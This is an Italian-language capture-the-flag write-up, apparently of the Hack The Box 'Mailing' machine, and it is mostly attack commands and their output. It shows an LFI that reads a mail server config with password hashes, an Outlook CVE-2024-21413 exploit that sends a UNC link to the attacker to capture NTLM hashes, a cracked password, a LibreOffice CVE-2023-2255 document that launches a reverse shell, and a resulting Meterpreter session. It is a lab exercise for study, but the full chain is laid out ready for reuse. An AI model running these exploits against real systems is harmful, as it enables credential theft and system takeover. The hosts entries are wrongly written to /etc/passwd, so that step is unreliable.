```
└─$ nmap -sV -sC -A 10.10.11.14 -T5

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-20 14:19 CEST
Nmap scan report for 10.10.11.14
Host is up (0.058s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION

25/tcp  open  smtp          hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY

80/tcp  open  http          Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://mailing.htb

110/tcp open  pop3          hMailServer pop3d
|_pop3-capabilities: UIDL TOP USER

135/tcp open  msrpc         Microsoft Windows RPC

139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn

143/tcp open  imap          hMailServer imapd
|_imap-capabilities: IMAP4rev1 CHILDREN QUOTA CAPABILITY completed SORT
RIGHTS=texkA0001 ACL IMAP4 IDLE OK NAMESPACE

445/tcp open  microsoft-ds?

465/tcp open  ssl/smtp      hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing
Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10

587/tcp open  smtp          hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY

993/tcp open  ssl/imap      hMailServer imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing
Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
|_imap-capabilities: IMAP4rev1 CHILDREN QUOTA CAPABILITY completed SORT
RIGHTS=texkA0001 ACL IMAP4 IDLE OK NAMESPACE
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

5040/tcp  open  unknown
5985/tcp  open  wsman
7680/tcp  open  pando-pub
```

```
49302/tcp open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
59320/tcp open  unknown


echo 10.10.11.14 mailing.htb >> /etc/passwd
echo 10.10.11.14 www.mailing.htb >> /etc/passwd


Ispezionando il sito leggiamo un file pdfe istruzioni per la configurazione del
client di posta (l'utente maya
sembra essere il target in quanto viene riportato che risponde alle email)

Il mail server è hmailserver

Mettiamo insieme una lista di utenti per formare anche delle email

Ruy Alonso
Maya Bendito
Gregory Smith

alonso@mailing.htb
maya@mailing.htb
gregory@mailing.htb

Approccio --> Invio di email con allegato / url per rubare hash ntlm. Il server
mail richiede
autenticazione. abbiamo bisogno di una coppia di credenziali


Analizzando la pagina per download notiamo che è vulnerabile a LFI

http://www.mailing.htb/download.php?file=../download.php  <---- lfi. possiam
leggere i file sul disco

==================================
download.php

<?php
if (isset($_GET['file'])) {
    $file = $_GET['file'];

    $file_path = 'C:/wwwroot/instructions/' . $file;   <------------
    if (file_exists($file_path)) {

        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment;
filename="'.basename($file_path).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
```

```
        header('Pragma: public');
        header('Content-Length: ' . filesize($file_path));
        echo(file_get_contents($file_path));
        exit;
    } else {
        echo "File not found.";
    }
} else {
    echo "No file specified for download.";
}
?>
```

proviamo a leggere la configurazione di hmailserver per trovare un account valido

../../../Program Files (x86)/hMailServer/Bin/hMailServer.INI

```
[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
DataFolder=C:\Program Files (x86)\hMailServer\Data
LogFolder=C:\Program Files (x86)\hMailServer\Logs
TempFolder=C:\Program Files (x86)\hMailServer\Temp
EventFolder=C:\Program Files (x86)\hMailServer\Events
[GUILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7  <-------
homenetworkingadministrator
[Database]
Type=MSSQLCE   <--- mssql ce
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c   <-------   to crack
PasswordEncryption=1
Port=0
Server=
Database=hMailServer <----
Internal=1
```

Prima di effettuare l'attacco con responder proviamo password spraying con la lista
di utenti creata

```
crackmapexec smb 10.10.11.14 -u user.txt -p homenetworkingadministrator
crackmapexec winrm 10.10.11.14 -u user.txt -p homenetworkingadministrator
```

niente. procediamo a inviare l'email a maya@

```
sudo responder -I eth0

sendemail -f Administrator@mailing.htb -xu Administrator@mailing.htb -xp
homenetworkingadministrator -t maya@mailing.htb -u 'My first mail!' -s
```

mailing.htb -o message-content-type=html -m "Hey Maya!This is my first mail!
Click on http://10.10.14.46:8081/file.hta"

Jul 20 15:28:15 kali sendemail[64489]: Email was sent successfully!

usiamo anche
<img src="\\(ip)\a.jpg">
<img src="http://(ip)/a.jpg">

ma nessun effetto.

Proviamo a collegarci con thunderbird all'email dell'admin per cercare email salvate. niente.

==========

Tornando indietro e rileggendo la guida capiamo che sui client windows viene installato outlook.

https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability.git

https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/blob/main/CVE-2024-21413.py

python exploit.py --server mailing.htb --username Administrator@mailing.htb --password homenetworkingadministrator --sender Administrator@mailing.htb --recipient maya@mailing.htb --url '\\10.10.14.46\aa.jpg' --subject 'Urgent'

CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC.
Alexander Hagenah / @xaitax / ah@primepage.de

✅ Email sent successfully.

otteniamo su responser l'hash net-ntlm

maya::MAILING:dac4fe0aec512cc8:0ABF7016C9D7428230E543395441DBCD:0101000000000000
00EF6F99469EDA01293B5F358D9EF4DE0000000002000800540058005800340001001E0057004900
4E002D0038003800320052004100 4E0050003800440045005000040034005700490 04E002D003800
3800320052004100 4E0050003800440045005000040034005700490 04E002D003800
3800320052004100 4E0050003800440045005000 2E0054005800580034002E004C004F0043004100
4C0003001400540058005800340 02E004C004F00430041004C0005001400540058005800340 02E00
4C004F00430041004C000700080000EF6F99469EDA0106000400020000000800300030000000000
0000000000000002000009BE5ABAC0CB766267616E7031B83C21B57E7A52A6903503167DE1974F23E
1F3B0A0010000000000000000000000000000000000009001E006300690066007300 2F0031003000
2E00310030002E00310034002E00350000000000000000000

crack con john

```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
m4y4ngs4ri       (maya)
```

usiamo evil winrm per accedere

```
evil-winrm -u mailing.htb\\maya -i mailing.htb
```

==========

Codice che controlla le email e apre gli hyperlink

type mail.py

```
from pywinauto.application import Application
from pywinauto import Desktop
from pywinauto.keyboard import send_keys
from time import sleep

app = Application(backend="uia").connect(title_re="Inbox*")
dlg = app.top_window()
current_count = 0
remove = 2
while True:
        try:
                unread = dlg.InboxListBox
                items = unread.item_count()
                if items==1:
                        sleep(20)
                        continue
                if items != current_count:
                        for i in range(1,items-current_count-(remove-1)):
                                if "Yesterday" in unread.texts()[i][0]:
                                        remove = 3
                                        continue
                                unread[i].select()
                                message =
dlg.child_window(auto_id="RootFocusControl",
control_type="Document").Hyperlink.invoke()
                                sleep(45)
                                dlg.type_keys("{ENTER}")
                                unread[i].select()
                        current_count = items - remove
                sleep(20)
        except:
                pass
```

```
type mail.vbs

Set objShell = CreateObject("WScript.Shell")
objShell.Run "explorer
shell:AppsFolder\microsoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.win
dowslive.mail"
WScript.Sleep 5000


objShell.AppActivate "Mail"
WScript.Sleep 1000


objShell.SendKeys "{F5}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "{TAB}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "^d"
WScript.Sleep 500
objShell.SendKeys "%{F4}"


==============================

enumeriamo gruppi, permessi su file e processi, regitro per credenziali, local
exploit con msf

usiamo winpeas e powerup



PS C:\Users\localadmin\Documents\scripts> Get-ScheduledTask
Get-ScheduledTask

TaskPath                                    TaskName
State
--------                                    --------
-----
\                                           Mail
Disabled
\                                           MailPython
Running
\                                           MicrosoftEdgeUpdateTaskMachine...
Running
\                                           MicrosoftEdgeUpdateTaskMachine...
Ready
\                                           Test
Ready
```

```
PS C:\Users\localadmin\Documents\scripts> Get-ScheduledTaskInfo -Taskname
MailPython | Select *

Get-ScheduledTaskInfo -Taskname Mail -Verbose| Select *

LastRunTime           : 2024-07-20 5:35:35 PM
LastTaskResult        : 267009
NextRunTime           :
NumberOfMissedRuns    : 0
TaskName              : MailPython
TaskPath              :
PSComputerName        :
CimClass              :
Root/Microsoft/Windows/TaskScheduler:MSFT_TaskDynamicInfo
CimInstanceProperties : {LastRunTime, LastTaskResult, NextRunTime,
NumberOfMissedRuns...}
CimSystemProperties   : Microsoft.Management.Infrastructure.CimSystemProperties




*Evil-WinRM* PS C:\Users\maya\downloads> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                        State
============================= ========================================== =======
SeChangeNotifyPrivilege       Omitir comprobaci¢n de recorrido
Enabled
SeUndockPrivilege             Quitar equipo de la estaci¢n de acoplamiento
Enabled
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso
Enabled
SeTimeZonePrivilege           Cambiar la zona horaria
Enabled

Net user

-------------------------------------------------------------------------------
Administrador            DefaultAccount           Invitado
localadmin               maya                     WDAGUtilityAccount


================================

c'è una cartella "important document" proviamo a metterci un documento
contenente una reverse shell
```

un utente con privilegi superiori potrebbe aprirlo. Presenza di libre Office

```
   Directory: C:\Program files


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         2/27/2024   5:30 PM                Common Files
d-----          3/3/2024   4:40 PM                dotnet
d-----          3/3/2024   4:32 PM                Git
d-----         4/29/2024   6:54 PM                Internet Explorer
d-----          3/4/2024   6:57 PM                LibreOffice
<--------------------
```

Creiamo una reverse shell e posizioniamola sul target in c:\temp

dopodichè

https://github.com/elweth-sec/CVE-2023-2255.git

```
└─$ python CVE-2023-2255.py --cmd 'c:\temp\shell.exe'
File output.odt has been created !
```

Mettiamo il file .odt in "Important Documents" in c:\

dopo qualche attimo

```
*] Started reverse TCP handler on 10.10.14.46:8082
msf6 exploit(multi/handler) > [*] Sending stage (200774 bytes) to 10.10.11.14
[*] Meterpreter session 4 opened (10.10.14.46:8082 -> 10.10.11.14:52683) at
2024-07-20 18:44:17 +0200

C:\Program Files\LibreOffice\program>whoami
whoami
mailing\localadmin
```

==========

Script che apre i documenti odt

```
c:\Users\localadmin\Documents\scripts>type soffice.ps1

# Define the directory containing the .odt files
$directory = "C:\Important Documents\"

# Get all .odt files in the directory
$odtFiles = Get-ChildItem -Path $directory -Filter *.odt
```

```
# Loop through each .odt file
foreach ($file in $odtFiles) {
    # Start LibreOffice and open the current .odt file
    $fileName = $file.FullName
    Start-Process "C:\Program Files\LibreOffice\program\soffice.exe"
-ArgumentList "--headless --view --norestore", "`"$fileName`""

    # Wait for LibreOffice to fully open the document
    Start-Sleep -Seconds 5  # Adjust the delay as needed

    # Wait for the document to close
    Start-Sleep -Seconds 5  # Adjust the delay as needed

    Stop-Process -Name "soffice" -force

    # Delete the .odt file
    Remove-Item -Path $file.FullName -Force
}
```